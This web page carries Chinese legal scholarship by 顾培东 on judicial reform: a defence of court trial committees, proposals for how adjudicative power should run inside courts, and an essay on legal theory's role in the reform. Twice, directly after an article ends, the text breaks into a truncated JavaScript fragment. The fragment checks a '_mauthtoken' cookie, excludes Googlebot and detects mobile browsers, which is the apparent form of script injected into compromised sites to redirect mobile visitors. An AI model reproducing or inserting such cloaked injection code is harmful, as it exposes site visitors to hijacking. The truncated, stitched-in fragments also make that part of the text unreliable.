((相关研究参见:贺卫方:《关于审判委员会的几点评论》,载《北大法律评论》1998年第2期;苏力:《基层法院审判委员会制度的考察及思考》,载《北大法律评论》1998年第2期;徐显明:《司法改革二十题》,载《法学》1999年第9期;陈卫东、李训虎:《先例判决·判例制度·司法改革》,载《法律适用》2003年第1-2期。))我认为,这些主张都值得商榷。对于审委会的地位和作用,我的主要观点是: 第一,审委会是人民法院审判活动中不可或缺的制度和装置。依据现行制度,审委会与独任法官、合议庭共同作为法院的审判组织,因此,审委会行使审判权无疑具有制度上的正当性。但我更愿意强调的是审委会的另一方面的功能,亦即:审委会是解决法院内部对案件处理争议的必要制度安排和制度设计。如前所述,在法院机构作为审判主体的体制下,法院内部各主体对案件的处理不可避免会出现各种分歧,由此自然会生成“谁最后说了算”的问题,审委会制度通过集中法院内的优秀法官对案件进行讨论,按照少数服从多数的原则决定案件的处理结果。 ((有关判决生产机制的研究参见:代志鹏:《司法判决是如何生产出来的》,人民出版社2011年版;兰荣杰:《刑事判决是如何形成的:基于三个基层法院的实证研究》,北京大学出版社2013年版;孙光宁:《司法共识如何形成?——基于判决的可接受性》,载《山东大学学报》(哲学社会科学版)2010年第1期。))这一功能的意义在于,一方面它能够统一或排除法院内部的歧见,形成代表法院的最终意见,体现了法院机构行使审判权的特质;另一方面,审委会的意见产生于集体讨论和有规则的表决,至少在制度层面排除了按个人或简单按下级服从上级的行政运作方式解决分歧的情况。因此,只要仍然实行法院机构行使审判权制度,在任何情况下,审委会都是不可或缺的制度和装置。 第二,审委会讨论决定案件具有一定的合理性。首先,审委会讨论案件仍然是以承办法官的汇报为基础的,这其中自然包含着对承办法官意见的尊重,换句话说,审委会结论的产生过程包含着具有“亲历性”的承办法官的重要参与。有些主张“法官独立”的学者诟病审委会依凭承办法官的汇报而决定案件不科学,理由是承办法官的汇报可能偏颇或失实。但相应提出的问题是:倘若承办法官或因故意或因疏忽而在汇报中偏颇或失实,那么,又有什么样的理由对如此不靠谱的法官付以信任并赋予其独立的审判权呢?好在听取承办法官汇报只是审委会讨论决定案件的依据之一,而不是全部。其次,如果不是偏执地固守所谓的“亲历性”的话,那么我们将不得不承认一个常识:无论是认定事实还是适用法律,众多人的讨论较之单个人的思考或少数人的合议,前者更容易得出正确的结论。特别是对于重大疑难案件,讨论者从不同角度提出问题,展开充分的讨论甚至是争辩,更有利于弄清事实,把握案件的实质与关键,并在很大程度上能够保证法律适用的准确性和恰当性。甚至可以认为,就案件办理质量而言,审委会讨论案件的方式,明显优于独任法官或合议庭决定案件。可以证明的事实是:虽然审委会讨论决定的案件一般都是重大疑难案件,但由审委会讨论决定的案件的发、改率,通常仍低于或大致等同于合议庭直接作出决定的案件(理论上说,重大疑难案件的发、改率应更高一些)。只是因为面对如此大量的案件,法院不可能都采用审委会讨论的方式决定案件。 第三,审委会讨论决定案件的作用事实上会进一步凸显,同时,审委会对案件的讨论也决不应限于“法律适用”问题。在这一轮的改革中,尽管各级法院都会在制度上压缩审委会讨论案件的范围,但我推测,由审委会讨论决定案件的总量或比例不会因此而减少或降低。 ((对于各级法院与审委会有关改革举措的调查和研究参见:北京市第一中级人民法院课题组:《关于推动审委会制度改革强化其职能作用的调研报告》,载《人民司法》2014年第1期;宋国强:《完善审委会对审判权内部监督的路径探索——以H省S市S区法院审委会工作为实证》,载《公民与法》(法学版)2013年第7期;满志方:《充分发挥审判委员会职能作用 切实提高法院审判质效水平》,载《中国审判》2014年第1期。))这是因为,随着院、庭长审批或审核案件的权力的取消或削弱,很多先前在院、庭长环节中处理的案件可能会提交到审委会;同时,合议庭与院、庭长之间的制衡关系真正形成后,合议庭诉诸审委会解决的争议也会有所增加。审判长联席会及专业法官会议或许能够分解一些审委会讨论的案件,但鉴于审判长联席会及专业法官会议只是咨询性质的组织,没有决定案件的权力,故审委会讨论案件的方式总体上不会减弱,甚至会进一步凸显。是否减缩审委会讨论案件的总量或比例,更主要取决于审判运行的实际需要,而不完全取决于人们的主观愿望。更应强调的是,目前流行的“审委会讨论案件,只讨论法律适用,不涉及事实认定”的主张,我认为只是一种不切实际的臆想。这是因为,首先,很多重大疑难案件,其“疑”其“难”不在于法律如何适用,而主要是事实如何认定,尤其是证据如何采信,特别是在一些死刑案件中,某些事实或情节的认定更是决定案件的关键。 ((相关研究参见:孙海波:《案件为何疑难?——疑难案件的成因再探》,载《兰州学刊》2012年第11期;张媛娇:《疑难案件中法官的隐形决策——以案例为范本》,载《上海政法学院学报》2014年第2期;陈坤:《疑难案件、司法判决与实质权衡》,载《法律科学》2012年第1期。))对于这些案件,合议庭拿不准而请求审委会讨论,审委会是不可能置之不理的。其次,对每一个案件来说,适用法律必须以认知案件的事实为前提,而当审委会成员认为合议庭认定的事实有误时(至少审委会成员自己认为认定有误),任何一个有责任感的审委会成员都不可能依据这种错误的事实认定而进一步去讨论其法律适用问题。再次,在许多案件中,认定事实与适用法律之间根本就无法区分,两者缠结在一起。对于需要为案件的处理作出最终结论的审委会来说,人为地设定讨论问题的边界无异于画地为牢、缘木求鱼。实际上,很多人之所以主张审委会只讨论法律适用而不讨论事实认定,仍然是基于所谓的“亲历性”而推导出来的。对所谓的“亲历性”,前文已作了较为充分的分析。不宁唯是,这一主张与实践逻辑的相悖性,又从另一个侧面证明了那种片面化的“亲历性”的乖谬。 第四,现行的审委会制度与实践需要进一步改革和完善。在为审委会制度进行论证和辩护的同时,我也明确地认为,现行的审委会制度与实践是需要改革和完善的。改革和完善的内容主要有:一是在审委会内分设民事(行政)和刑事专业审委会。由于民事(行政)与刑事之间的知识跨度较大,同时兼具几个领域专业知识和审判经验的审委会成员并不多。依据自己并不很熟悉的知识去讨论其他专业的案件,势必难以形成正确的判断和结论;而如果完全顺从其他专业的审委会成员的意见,事实上又未起到讨论的作用。不仅如此,刑事专业的审委会成员通常只是少数,由多数为非本专业(民事、行政专业)的审委会成员讨论刑事案件,并且依少数服从多数原则表决,显然也不恰当。因此,审委会内设专业审委会是十分必要的。分设后,绝大多数案件依其性质实行分专业讨论。二是强化审委会讨论中“审”的成分。对于由审委会讨论的案件,审委会办公室(或相应机构及人员)应事先对讨论的要点作出归纳;审委会成员应通过内网审阅案件的相关材料,尽可能充分地熟悉案情。讨论中,对于案件事实认定的争议,应当集体审看证据材料,同时。由审委会讨论的案件,应当事先将参加讨论的审委会成员名单告知当事人,给予当事人申请回避的权利。三是改革审委会讨论案件的表决方式。为防止院长或分管院长率先表决而对其他成员产生不当影响,审委会成员表决可采用书面同时表决的方式。四是进一步强化审委会成员的责任约束,审委会成员的意见与错案责任追究挂钩,至少要纳入到考评指标体系之中。 五、人民法院审判权运行机制构建的基本任务和主要工作 依据于对前面几个问题的讨论以及C市中院几年来改革的具体实践,我认为,人民法院审判权运行机制的构建的基本任务或这一轮改革所要着重解决的问题是:完善法院内部的主体结构,恰当配置法院内各主体的权力,形成有利于充分发挥法官主导作用的权力格局,同时明确各主体在审判活动中的职能及责任,确保各主体权力与责任的对应、行为与责任的统一,建立起既能对各主体行为实行有效监督制约,又能保证法院审判资源合理配置和综合利用的审判运行秩序;通过审判权运行机制的构建,实现中国特色司法审判制度的基本定型并逐步趋向完善和成熟。 1、审判权运行机制构建的主要工作 审判权运行机制构建的主要工作,亦即此项改革的主要措施是: 第一,完善法院内主体形式,形成能够突出一线办案法官地位与作用的法院内部主体结构。包括三个方面:一是选任部分优秀法官作为主审法官或审判长(由于这种职位意义上的“审判长”不易与合议庭中的“审判长”相区别,故我更倾向于用“主审法官”的称谓),配备其他法官、助理法官和书记员,形成法院办案的基本单元。 ((有关主审法官制度的探索参见:雷钧主编:《黄陵模式——中国法官制改革初探》,法律出版社2013年版。))在独任审判中,由主审法官(或审判长,下同)带领法官助理及书记员负责审判;在普通程序中,由主审法官带领其他法官组成合议庭,依合议规则进行案件审理。选任部分优秀法官作为主审法官,一方面是在法官规模扩大、素质参差不齐的既有条件下,突出部分优秀法官的地位和作用,另一方面是通过这种设置(职级、报酬相应提高),培养出一批资深职业法官,改变目前把“能够当上院、庭长”作为法官的主要职业追求、“审而优则仕”的状况。二是根据各法院的不同情况,设立审判长联席会议及(或)专业法官会议,作为咨询性组织,为独任法官或合议庭提供各种指导和帮助。设立这类组织的意义,一方面是分解审委会的部分压力,另一方面也是分担过去由院、庭长承担的部分事务。三是在审委会内分设民事(行政)专业审委会和刑事专业审委会。 第二,合理配置并在制度上明确各主体的职权,形成重心向一线办案法官倾斜的权力格局。一是赋予独任法官或合议庭对多数或绝大多数案件的直接裁判权。对于某些案件,如新类型案件、群体性纠纷案件、社会高度关注的案件以及可能判处死刑等重大案件,独任法官或合议庭不能迳行决定裁判,而是提交院、庭长并由院、庭长提交审委会或审判长联席会以及专业法官会议讨论。对不允许独任法官或合议庭迳行决定裁判的案件,应在制度上作出明确规定;各地、各级法院根据本院受案量的多少、受理案件的主要类型、特征以及审判力量的具体情况,规定其范围。二是院、庭长除了作为审判长直接参加合议庭负责重大疑难案件审理外,其职责主要在于负责审判资源的调配,程序性事项的审核或审批,审理期限的监督管理,根据制度规定或应合议庭要求,向审委会或审判长联席会以及专业法官会议提交相关讨论事项。任何情况下,院、庭长不得直接变更或要求独任法官及合议庭变更实体裁判意见,但对独任法官或合议庭制作的裁判文书中不涉及实体处理意见部分的明显错误,院、庭长有权要求独任法官或合议庭予以纠正。三是审判长联席会议或专业法官会议应独任法官或合议庭以及院、庭长的要求,负责就案件审理中的各类问题提出咨询意见,供独任法官或合议庭参考,独任法官或合议庭不必服从其意见,但院、庭长认为意见正确而独任法官或合议庭不予接受的,可将案件提交审委会讨论决定。除极少数重大案件外,审委会讨论案件分专业进行。 第三,建立健全法院内部监督制约体系,尤其是建立审判权行使与审判管理权行使的双向监督机制。首先,运用网上办案平台和网上管理平台等信息化手段,保证法院各主体的行为高度透明化,即便是由独任法官或合议庭直接裁判的案件,院、庭长也能通过管理平台实时了解整个审判活动及裁判内容;同时,院、庭长、审判长联席会及专业法官会议的各项行为,也必须高度透明,每一个行为都必须全程留痕,记载于档案之中。其次,科学设计各主体以及各种行为之间的监督制约关系,提高法院对各个分散的、个别化的司法行为的把控能力,保持法院对各种不当或错误司法行为的纠错能力,切实做到有权必受限制,用权必受监督,并力求使“好的司法决定能够顺利形成,不好的司法决定出不了法院”。这种监督制约关系的内容以及具体实现方式可根据实际运行情况逐步探索,积累经验。再次,明确各主体的行为责任,保持权力与责任的对应、行为与责任的统一。无论是审判行为还是审判管理行为,各主体都必须对自己在审判运行中实施的行为承担责任。院、庭长超越权限而不当影响或干预独任法官或合议庭审判活动的,应承担相应责任;独任法官或合议庭放弃自己权力,未能坚持自己正确意见的,亦承担相应责任。最后,建立审判运行合规性评价制度和体系,将每一个案件审判运行中全部信息汇集于一起,运用专门软件进行分析,将各主体行为的合规性(包括是否按职权规定行事以及是否在规定的时限中完成相应事项)作出评价。此外,还应进一步完善现有的法院考评指标体系。一方面,把审判运行的合规性纳入到考评体系之中,与质量、效率共同作为考评的主要项目;另一方面,对考评指标以及分值、权重等进行合理调整,去除一些形式性指标(如当庭宣判率),恰当地设定各项指标的分值和权重。 ((相关研究参见:巫国平:《法院绩效考评标准的协调及完善》,载《法律适用》2014年第7期;沐润:《法院绩效考核机制的评析及其完善》,载《云南大学学报》(法学版)2012年第2期。))更需提出的是,由于各级、各地法院案件受理及审理情况差异甚大,因而最高法院不宜对全国法院适用完全相同的考评指标体系,至少不应使用过于细化的考评指标,或者可以考虑对不同地区实行分类考评,各省级法院以及中级法院也应实行地区分类考评,切实做到当评则评、能比才比,更应彻底杜绝作假舞弊现象(现实中,这一现象比较突出)。各法院内部考核也应从实际出发,避免因考评指标体系的失当而形成不正确的引导。总之,考核评价指标应能够充分反映各法院真实的审判状况,有利于引导各法院提高审判水平,有利于调动各法院以及法院内各主体的工作积极性。 第四,编制并细化审判运行的流程。审判运行的流程既与诉讼流程相吻合并受制于诉讼流程,但也不同于诉讼运行流程。 ((相关研究参见:重庆市荣昌县人民法院课题组:《审判流程管理的认知及完善——以的实施为视角》,载《人民司法》2013年第9期;葛治华、邓兴广:《法院审判流程管理模式:反思与进路》,载《政治与法律》2006年第4期;周晓冰:《民事审判流程控制研究》,载《人民司法》2008年第1期。))诉讼流程反映的是法院、当事人以及诉讼参与人在审判中的互动关系,而审判流程反映的是法院内部各主体之间的互动关系。因此,应根据审判运行的实际状况,把审判运行分解成若干个节点,对每一个节点中参与的主体、各主体的权限或职责、各主体完成节点行为方式及时限作出细化规定,并通过专门软件把审判流程编成相应的程序,实时提示各主体在每一个案件、每一个节点中应有什么样的作为以及怎样作为。审判运行流程的规范化不仅有利于审判秩序的形成,同时也能提高审判运行的效率,消除审判运行中的瓶颈。 第五,建立和完善法官的职业保障。这一轮改革中,法官的职业保障问题被提上了议程。由于法官的职业保障更多涉及外部资源的提供,法院自身无力支付这一改革成本,因而尽管司法界对此呼吁甚高,但中央和地方相关部门能够在多大程度上予以回应和支持,仍然具有很大的不确定性,尤其是各地方之间会出现较大的差异。对法官职业保障问题,目前在认识上有些片面,亦即把建立法官的职业保障简单理解为通过提高法官的职级及物质待遇,强化法官的激励,增加法官的职业尊荣感,藉此强化法官行为的自律性。 ((相关研究参见:宁杰、程刚:《法官职业保障之探析——以中法官权利落实为视角》,载《法律适用》2014年第6期;宋建朝、刘晓勇:《职业化建设视野中的法官职业保障》,载《人民司法》2005年第9期;李广兴:《法官职业保障刍议》,载《山东审判》2003年第4期。))我认为,这方面的作用固然不可否认,但更现实的意义是通过一线办案法官职级和物质待遇的提高,在院、庭长之外,为普通法官创设个人事业发展的空间,改变“不想当院、庭长的法官不是好法官”的现状,淡化法院内的行政色彩,逐步形成一批把从事一线审判作为终身职业追求的资深法官。以此为参照,中级及中级以下法院的资深法官的职级和物质待遇最高应当等同于本级法院的院长,省级及省级以上法院的资深法官的待遇最高应等同于同级法院的副院长。此外,职业保障还应体现在法官审判岗位的保障(非因本人自愿或个人重大过错并依相应程序不得被调离审判岗位)、职级晋升保障(依任职年限、办案量、发改率等客观条件晋升,而不依凭院、庭长主观评价晋升)权力行使保障等多个方面,创造法官敢于坚持自己正确意见的条件和氛围。 2、新机制下审判运行状况的描述 新机制下法院审判权运行的基本图景应当是:各级人民法院受理的案件,多数或绝大多数由独任法官或合议庭审理并迳行裁判,裁判文书无需经院、庭长审核签发。各法院可以根据审级以及受理案件的类型、特点和总量等因素,对不能由独任法官或合议庭直接作出裁判,而需交院、庭长审核或提交审委会讨论的案件范围作出明确规定。由独任法官或合议庭迳行裁判的案件,裁判文书发出前应在内网上放置一段时间(如五个工作日),分管院、庭长对裁判文书有不同意见可向合议庭或独任法官提出建议。合议庭把握不准或合议庭有重大分歧的案件,合议庭或合议庭成员均可将案件提交院、庭长,由院、庭长分别提交审判长联席会、专业法官会议讨论或提交审委会讨论决定。无论是合议庭提交院、庭长的案件,还是院、庭长主动提出建议的案件,如果涉及案件的实体处理,院、庭长的意见仅供独任法官或合议庭参考。院、庭长与独任法官意见有分歧的,独任审理改为普遍程序审理,与合议庭意见有分歧的,视情况分别将案件提交审判长联席会、专业法官会议或审委会讨论。审判长联席会或专业法官会议的意见,也仅供独任法官或合议庭参考,审判长联席会、专业法官会议意见与独任法官意见有分歧的,独任审判改为普通程序;与合议庭有重大分歧的,提交审委会讨论决定(如图1)。在权力行使方面,各主体行使职权都必须通过内部网络以文字方式进行或留下文字记录,实行全程留痕,各自对自己的行为承担相应责任。法院内审判运行在信息化技术的支撑下,全程、全面透明。各主体根据不同的权限,对于自己应当知晓的各种信息,包括案卷全部材料、其他各主体的相关行为及意见都能全面掌握,并适时、恰当实施自己的行为。 在新的机制下,人民法院审判工作将集中体现于两条主线,一条是由独任法官、合议庭、审委会为主体的审判权行使;一条是由院、庭长、审判长联席会、专业法官会议以及审管办、研究室等机构为主体的审判权行使的配套,这种配套包括辅助帮助机制、监督制约机制、协调管理机制三个方面(如图2)。 3、需要进一步解决的几个问题 前述对审判运行权机制的构想与描述,在实际运作以及实际工作层面上可能面临三个具体问题:一是院、庭长的隐性权威对于独任法官或合议庭的影响。尽管在制度上明确了各自的权力边界,但在目前体制下,法院内各项资源仍然主要掌握在院、庭长手中,院、庭长在很大程度上决定着普通法官的职业命运,因此,现实中,院、庭长对于普通法官具有不言而喻的权威,这种权威的过度影响很可能会瓦解制度上的权力制约关系。因此,除了要强化院、庭长的规则意识外,更需要在法官的职业保障方面有对应性措施,特别是法官的职业晋升依据应尽可能客观化,评价方式尽可能合理化,以减少院、庭长主观因素的决定性影响,增强法官敢于坚持自己正确意见的信心和能力。二是信息化技术运用的深度和广度。前述审判运行机制能否实际形成,在很大程度上也取决于信息化技术的运用。通过信息化技术的运用,实现全部案卷资料以及审判过程各主体的行为高度透明,并且通过网上办案平台以及网上管理平台使各种审判活动都能够在网上实时互动,更重要的是,各主体的权力关系及职能通过专门的软件编成程序,嵌入到办案平台和管理平台之中。目前在全国各法院中,多数法院的信息化运用尚未达到这样的水平。因此,在面上推行审判运行机制构建的改革,必须全面提高信息化技术运用的水平,尤其是要在各法院推广统一的办案软件及审判管理软件的运用。三是科学的责任评价及责任追究制度的形成。由于法律上给予审判者自由裁量的空间较大,特别是民事审判,在不少情况下,很难判断裁判结果的正确与错误;同时,由于上下级法院的水平与审级之间并不完全对应,因此,即便是发、改案件,也不能完全说明原审裁判有误;并且,即便是错误的裁判,也很难认定其出自审理者认识上偏差还是故意为之。因此,科学的责任评价制度及相应的责任追究制度事实上难以形成,而这对审判运行机制的形成及实际功效,也会产生较大影响。在此方面,可能采取的措施是:首先,要对明显的错案追究相关人员的责任,彰显责任追究制度的存在,使各主体感受到责任制度的约束力,同时,建立各主体审判业绩档案,其业绩与职级晋升或降低挂钩。其次,建立发、改案件分析制度,对发、改的原因进行分析,对确实可归因于审判者的案件,由审判者负责(不限于独任法官或合议庭,实行谁决定谁负责原则;参与意见的,也应负相应责任)。再次,引入第三方评价,吸收专家以及各方面代表参与到错案责任评判之中,改变简单由法院行政领导评判的方式,使评判更趋客观。 六、结束语 我十分清楚,本文中主要观点及主张与目前法学界的主流认识并不一致。但我认为,当下,我国司法改革正处于关键时期,法学人围绕司法改革所面临的一些重大问题展开充分讨论和对话,对于澄清是非,正确选择改革思路,避免因理论或认识上的偏误而导致实践中的偏失,无疑具有重要现实意义。这也正是本文作者不忌与法学界众识相违而力持己见的动因和理由。if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 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司法改革中法学理论的作为与担当

此文发表于2014年12月25日发表于《社会科学报》 作者:顾培东,四川大学法学院教授、博士生导师 十八届四中全会进一步强调通过司法改革,保证公正司法,提高司法公信力,并且对司法改革做出了更为具体的部署。随着四中全会精神的落实,司法改革对法学理论研究的要求将愈趋迫切。不可否认,这一轮司法改革所取得的进展也突破蕴含着法学理论界的积极努力,但我认为,总体上看,法学理论对这一轮司法改革的参与度和贡献率仍然是有限的,至少与我国庞大的法学理论研究队伍以及巨量的法学研究知识成果不尽相符。这一方面是因为在以“顶层设计”为主要路径的本轮改革中,法学人参与的空间不大,机会较少,另一方面,也是更重要的方面,法学理论在较大程度上疏离司法运作的实践,缺少对中国司法状况及其运行机理的实际把握,在改革方案的具体设计中,理论界往往提不出具有较高应用价值、能够为决策层和实务界所充分接纳的建议与主张。在围绕司法改革的相关讨论中,有些停留于诸如“去行政化”、“去地方化”甚至“去政治化”等口号式的倡导,有些则照搬西方传统司法理论的某些结论,有些则倾情于对司法现实的批评而缺少应有的建设性。必须看到,这一轮司法改革的基本任务和基本目标是中国特色司法制度的基本定型或全面定型,使之成为人类司法文明中的一个独特形态。能够参与到这场改革,是时代给予当代中国法学人的机遇和宠幸,因此,当下法学人更应当审视的是,法学理论在这场司法改革中应当有什么样的作为和担当。 我认为,在这场司法改革中法学理论研究应着力于以下几个方面: 第一,加强对司法改革基本向度的理论阐释。 前面提到,这一轮改革的任务和目标是中国特色司法制度的定型,但定成什么“型”实际上决定于司法改革的基本向度,具体的改革措施必须在符合这些向度的前提下而形成。我认为,这场改革的基本向度有五个方面:一是确立司法在国家治理体系与结构中的角色与地位,也就是说,通过改革调整、改善司法与其他政治权力的关系、协调司法手段与其他社会治理手段的关系,确立司法在新型国家治理体系与结构中的角色与地位。其核心又在于处理好保障司法权依法独立行使与司法同其他政治力量在社会治理中保持一体化的关系。二是吸收域外先进的司法制度与司法经验。司法作为人类社会的一项共同实践,各国司法都有相互吸收和借鉴的需求与可能,中国特色司法制度想要步入司法文明的先进行列,也必须在改革过程中,广泛借鉴和参考域外某些先进的司法制度和司法经验,把这些有益因素转化为改革的成果。三是适应解决当代中国社会矛盾和纠纷的实际需求。当代中国社会矛盾和纠纷不仅总量很大,更重要的是很多矛盾和纠纷与社会转型变革过程中社会发展失衡、社会分配不公、社会管理失误、社会建设滞后直接相关,法律问题、社会问题乃至政治问题往往缠结于一起,并且互相转换,这些矛盾和纠纷的解决对司法制度和司法方式提出了相应的要求,由此也成为司法改革的重要向度。四是立足于我国司法领域的现实条件。司法改革必须立足和尊重司法领域的现实条件,从这些条件出发设计改革的方案与措施。其中最值得重视的因素是我国司法队伍规模大、业务等素质尚不够理想,这一因素对于制度设计与运用的约束较大。五是保持我国长期形成的优秀的司法传统与有益的司法经验。在几十年的实践中,我国司法形成了自己的一些优秀的传统与有益的经验。特别是在简易化实效化处理人民群众日益生活中纠纷方面,积累了一些独特的传统和经验。这些传统和经验在司法改革中应得到保持和发扬。法学理论应对前述五个向度作出进一步的理论阐释,从理论上揭明这场司法改革改什么、怎么改以及改革后所应有的状态,藉以进一步统一全社会云南改革的认识,同时也使具体的改革措施建立在充分的理性基础之上。 第二,倡导和传播正确的司法意识形态。司法意识形态不仅是指导司法动作的观念基础,也是建构司法制度和机制的理性依据。因此,倡导和传播正确的司法意识形态也是我国法学理论当前所面临的重要任务。然而,从我国法学理论的基本偏好和取向来看,以司法独立甚至法官独立、严格的程序主义、绝对化的法条主义为内容的形式主义的司法意识形态受到更为普遍的推崇。应该说,在规则意识较为淡薄、司法权独立行使得不到充分保障的我国司法生态中,对形式主义司法意识形态的强调有其特定的意义,但如果把形式主义的这些内容作为我国司法意识形态的核心,则无疑会形成对司法运作和司法制度建构的误导。从现代国际司法的基本潮流和普遍实践看,形式主义司法意识形态已经被法律现实主义所取代。特别是二战以后,随着现代社会关系的日益复杂以及现代科技发展所带来的深刻变化,形式主义的一套已无法使司法适应社会的复杂需求。波斯纳最近对近几十年来美国司法状况的反思足以使我们看到这样的趋势。不仅如此,前苏东国家在面临司法转型时也普遍看到了形式主义受缚型司法意形态的落后性,更加注重接受并融入到“西欧法官朝向更为开放、以实质结果为导向、采用政策评估以及论证司法意见的总体趋势”。捷克法学家兹丹涅克.屈恩有一段话特别值得我们深思:“虽然社会主义法学明显考虑到了西方法学的智识发展趋势,但它却牢固坚守着19世纪的大陆法观念,并对事后在20世纪大多数时间中法律思想所发生的变化置若罔闻。由此导致的结果是,无知的学者们能够继续坚持这种简化的法律思维模式。他们恪守一种夹杂一些马克思主义用语和概念的形式主义法律观念。”事实上,这些年我国出版了大量的介绍当代西方法律思想发展变化的著作和文献,足以让我们看到现代司法理念发展变化的潮流与趋势。法学理论界应对此给予更高的重视,并将其有益的部分吸收到我国司法意识形态之中,至少应避免对形式主义的片面强调而造成某些偏误。 第三,深化对司法改革具体措施及运作的研究。首先,中央已确定了司法改革试点的几项内容,但这几项改革的具体实施都需要进一步细化,更重要的是,这些措施在实际运作中会产生什么样的问题,各种措施的边际影响和效应是什么,能否实际解决我们所期待解决的问题,需要作大量的分析研究。以司法责任制为例,在主审法官或合议庭权力增大后,如何实现对这种权力的有效制约和监督、如何处理主审法官或合议庭为规避责任而将交裁判权推诿给院、庭长或审委会的问题,如何消除院、庭长对主审法官或合议庭裁判行为的隐形影响,不同主体的司法责任与分类管理的待遇差异如何对应,司法责任的考评机制如何建立等等,这些问题十分具体,且都直接关涉到改革措施的成效,甚至关系到改革的成败。法学理论界应围绕这些问题,在深入调查研究的基础上,进行充分的讨论和论证,特别是应与实务部门一起,逐项进行专题研究,提出有份量的分析报告,并参与到具体方案的设计与制定。其次,除了已确定的几项改革措施外,司法改革的深化无疑还应有更多的内容,即包括宏观上司法机关与其他权力机构之间以及各司法机构之间权力的调整与配置,又包括微观上具体司法行为方式的改进与改善。因此,法学理论又应对进一步的改革措施进行探讨,提出切实可行的建议,为“顶层设计”提供参考。根据我个人的体会,在我国经济体制改革过程中,无论是理论先行倡导还是具体改革方案的设计,经济学理论界都发挥了重要作用,在此方面经济学界为法学界提供了很好的示范。总之,法学理论对司法改革的参与应具体到方案设计和实际操作层面,而不应停留在口号式的呼吁与概念化的推断之上。第四,全面推动对司法公开的参与。这一轮改革中,司法公开有了突破性进展。但是,司法公开不是公开的最终目的,公开的重要意义仍然在于社会各方面对司法过程了解并进行监督,因此,法学理论对司法公开的参与显得尤为重要。目前法学理论对司法现实活动以及司法裁判的关注甚少,除了某些热点案件外,法学界鲜有参与对司法机关具体司法行为或具体裁判的讨论。为此,在司法开放度越来越高的大背景下,法学理论应当全面参与到司法公开的过程之中,把现实司法活动以及具体的司法裁判作为重要的研究领域和研究对象,包括研究新类型案件的裁判方式和裁判尺度,探讨重大疑难案件裁判的法律依据,分析阶段时期司法的实际取向与趋势,研究不同司法机关甚至不同司法人员司法行为的风格与特色,点评具有典型意义的裁判文书,解析重要案件的裁判机理,引导社会各方面正确分析和理解重要案件中司法行为的意义。总之,要法学理论的广泛参与,形成法学界、司法实务界以及社会各方面的良性互动,唯有如此,才能全面彰显司法公开的意义,法学理论也才会有更广阔的研究领域,以及更强的生命力。 最后,还应提到,司法理论目前在我国尚未成为独立的理论学科,法理学对司法问题的涉及较为笼统,而程序法理论仅覆盖了司法的部分内容,概括不了司法理论的全貌,而中国特色司法制度的形成与发展,不可能没有相应的司法理论体系与之匹配。因此,法学理论界应以司法改革为契机,通过对我国司法体制、制度、机制、理念、方式、传统等诸要素的研究,逐步形成具有中国特色的司法理论体系,藉此推进中国法学理论的进一步完善与提升。 if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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人民法庭地位与功能的重构——基于P县人民法院相关实践的分析

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善于运用法治思维和法治方式领导政法工作(作者:顾培东)

习近平总书记最近提出:“党委政法委要明确职能定位,善于运用法治思维和法治方式领导政法工作”。我理解,善于运用法治思维和法治方式领导政法工作,不仅是对党委政法委工作的要求,同时也是对新的历史时期中党领导政法工作的指导思想、基本理念、基本原则以及主要路径的高度概括。

当前我国司法公正问题的认识与思考(下)

我们认为,加强公正司法、提高司法公信力应立足于司法自身,着眼于全局,通过全社会、多方面的共同努力,特别是应通过相关理念、制度及机制的创新与完善,从根本上减少并逐步消除司法不公现象。

当前我国司法公正问题的认识与思考(上)

以习.近.平为总书记的新一届中央领导把依法治国提到了前所未有的高度,进一步表明了我国坚定不移走法治化道路的信心与决心。作为实施依法治国方略的重要举措,加强公正司法、提升司法公信力也相应成为当下我国法治建设乃至民主政治建设的重要实践主题,从而也成为各级人民法院所面临的重大现实任务。


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